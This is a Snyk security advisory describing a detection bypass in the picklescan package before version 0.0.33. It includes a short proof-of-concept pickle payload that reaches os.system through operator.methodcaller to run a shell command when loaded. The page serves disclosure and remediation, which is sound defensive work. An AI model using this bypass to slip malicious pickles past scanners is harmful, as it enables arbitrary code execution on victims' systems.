Deserialization of Untrusted Data Affecting picklescan package, versions [,0.0.33)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-14724491
  • published30 Dec 2025
  • disclosed29 Dec 2025
  • creditCoolwindHF

Introduced: 29 Dec 2025

CVE NOT AVAILABLE CWE-502  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.33 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the operator.methodcaller function, which is a built-in Python library function used to execute a remote pickle file. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses detection and is subsequently loaded.

PoC

import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)

CVSS Base Scores

version 4.0
version 3.1